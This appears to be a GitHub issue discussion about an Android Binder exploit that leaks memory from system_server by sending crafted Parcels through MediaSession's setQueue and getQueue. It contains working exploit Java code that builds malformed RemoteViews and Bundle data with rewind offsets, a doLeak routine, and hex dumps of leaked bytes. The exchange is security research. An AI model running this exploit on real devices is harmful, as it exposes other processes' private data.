Open Sheepbye opened 1 year ago
There are two limits when we're sending data through Binder
List
TransactionTooLargeException
(Buffer is shared across all transactions and replies incoming to particular process, although here we don't have to worry about this one here)Transfers of List
s are described in "Putting Parcelable
s in system_server
and retrieving them" section of readme
We've got two list transfers, we send list of objects to system_server
and then we retrieve it, in both cases transactions can be split in order to handle List
s exceeding Binder transaction size limit
When I'm sending data to system_server
I get to decide where to split List
, however when I'm getting List
back ParceledListSlice
in system_server
decides where to split and I want split to happen after "first"/"large" Message
(which exceeds "suggested" limit) as my ValueLeaker
operates on ParceledListSlice
"retriever
". Without "large" Message
, "retriever
" wouldn't be created
Use of retriever
allows splitting getQueue
operation as getQueue
itself is called inside ValueLeakerMaker#makeHolderLeakerWithRewind
, but actual value retrieval happens ValueLeaker#doLeak
. Possible alternative (hadn't checked if it would work but probably would) could be calling getQueue
from ValueLeaker#doLeak
(creating separate MediaSession
s fo multiple ValueLeaker
s)
As for sending, there are two separate setQueueBinder.transact
calls. While it is possible to send both Message
s in single transaction (that would fit under hard limit), however doing so would require some adjustments as number of items is present only in first transaction and there are offsets in this exploit that are based on assumption that leak happens on object created within transaction that did not have that value
Thank you very much to answer this! As you noticed: Without "large" Message, "retriever" wouldn't be created
But why we need to operate on "retriever"? "retriever" seems doing the same thing as ParcelListSlice itself. Here I tried:
getQueue
itself in ValueLeaker#doLeak
getQueue
. getQueue
seems being called successfully, but after key "android.os.Message", there's nothing:
// key android.os.Message
12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00:
// second key %$#@!
05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:In this case, it seems that this transact won't reach the size limit(716 bytes returned). Here's the code that I changed to test this:
public ValueLeaker makeHolderLeakerWithRewindTest(int leakDataSize) throws ReflectiveOperationException, RemoteException {
// Tested only with leakDataSize=56
if (leakDataSize < 8 || leakDataSize % 4 != 0) {
throw new IllegalArgumentException();
}
int offsetToLeakedData;
IBinder setQueueBinder = (IBinder) mGetBinderForSetQueue.invoke(mMediaSessionBinder);
{
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInt(1); // List length
data.writeInt(1); // ParcelableListBinder.ITEM_CONTINUED
data.writeString("android.os.Message");
data.writeInt(4); // msg.what / readValue() type
data.writeInt(leakDataSize-8); // msg.arg1 / readValue() size
data.writeInt(1); // msg.arg2 / readParcelable() name length
data.writeInt('.'); // msg.obj != null / readParcelable() name text
data.writeString("android.widget.RemoteViews");
// BEGIN RemoteViews
data.writeInt(0); // MODE_NORMAL
data.writeInt(0); // mBitmapCache.size()
if (mBitmapCacheHasHashes) data.writeInt(0);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.packageName = "";
applicationInfo.writeToParcel(data, 0);
data.writeInt(0); // mIdealSize == null
data.writeInt(22); // mLayoutId
data.writeInt(33); // mViewId
data.writeInt(0); // mLightBackgroundLayoutId
data.writeInt(1); // mActions.size()
// BEGIN mActions[0]
data.writeInt(2); // REFLECTION_ACTION_TAG
data.writeInt(0); // viewId
data.writeInt(-1); // methodName
data.writeInt(13); // type=BUNDLE
// BEGIN Parcel.readBundle()
data.writeInt(4); // Bundle length (ignored as actual length due to read helper presence)
data.writeInt(0x4C444E44); // BUNDLE_MAGIC_NATIVE
data.writeInt(2); // Number of key-value pairs in Bundle
offsetToLeakedData = data.dataPosition(); // TODO
// BEGIN First Bundle key-value pair
data.writeString("%$#@!");
data.writeInt(2); // VAL_MAP
data.writeInt(-data.dataPosition()+4);
data.writeInt(0); // Number of items in VAL_MAP
// END First Bundle key-value pair
// Reader has rewound, abandon writing
// ParcelEditor.dump(data);
Log.d("ValueLeakerMaker", "makeHolderLeakerWithRewind: " + data.dataSize());
setQueueBinder.transact(FIRST_CALL_TRANSACTION, data, null, 0);
reply.recycle();
data.recycle();
}
IBinder retriever = mControllerBinder;
return new ValueLeaker(retriever, offsetToLeakedData, leakDataSize, 0x40002300240025L, mGetQueueCode);
}
public Parcel doLeak() throws RemoteException {
Log.d(TAG, "doLeak: " + mLeakPosition);
Parcel leakedParcel = null;
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
if (mtransactCode == IBinder.FIRST_CALL_TRANSACTION){
data.writeInt(1);
}
else { // mGetQueueCode
data.writeInterfaceToken("android.media.session.ISessionController");
}
mRetriever.transact(mtransactCode, data, reply, 0);
checkReply(reply); // dump the reply
reply.setDataPosition(mLeakPosition + mLeakSize + 4);
if (reply.readLong() == mEndMagic) {
leakedParcel = Parcel.obtain();
leakedParcel.appendFrom(reply, mLeakPosition, mLeakSize);
}
reply.recycle();
data.recycle();
return leakedParcel;
}
Sorry. I did a misoperation to close this.
Pushed alternate version which goes with single Message
as you tried
There were few offset adaptations, however overall flow looks similar to what you tried
Branch unwrap-parceledlistslice
, commit b8b16fb61b8600774f143dd68396a20f5a830331
Thank you very much for spending your time on my question!
In MainActivity
, I didn't call new ValueLeakerMaker(this).makeHolderLeakerWithRewind(52)
but leakerMaker.makeHolderLeakerWithRewind(52)
. So guess I didn't use multiple MediaSession-s but only one 🤯.
Hi, thank you very much for sharing this research. I notice that in
makeHolderLeakerWithRewind()
, first aMessage
of a large size (might reach the max size?) was transacted, and then the second one will leak some value from another Parcel. I wonder why we need the firstMessage
. I have tried to only transact one, and transact threeMessage
. ThreeMessage
is okay, the only thing to be modified is that inValueLeaker.doLeak()
,data.writeInt(2)
, pointing the thirdMessage
. But I get failed with only oneMessage
. There was similar log: Parcel : Attempt to read object from Parcel 0xb40000733c44c180 at offset 28 that is not in the object list InValueLeaker.doLeak()
, I've tried dump the whole Parcel fromgetQueue()
. After key "android.os.Message", there's nothing: // key android.os.Message 12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00: // second key %$#@! 05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00: If we transact two or threeMessage
, it would be like: // key android.os.Message 12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00: // things from another Parcel 69:00:76:00:69:00:74:00:79:00:54:00:61:00:73:00:6B:00:4D:00:61:00:6E:00:61:00:67:0065:00:72:00:00:00:00:00:85:2A:68:73:13:01:00:00:FE:09:00:00:00:00:00:00:00:00:00:00: // seconde key %$#@! 05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:02:00:00:00:04:00:00:00:00:00:00:00:6F:00:74:00:65:00:56:00:69:00:65:00:77:00:73:00:00:00:00:00:00:00:00:00:85:2A:62:73:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 So, if we only use oneMessage
, it would fail at leaking value from another Parcel. And I haven't found the reason. Would you please share about why we needs a, or more than one Message before the leaking one? Thank you very much :). (Sorry for my bad English, it might be noticed in README but I didn‘t realize it.)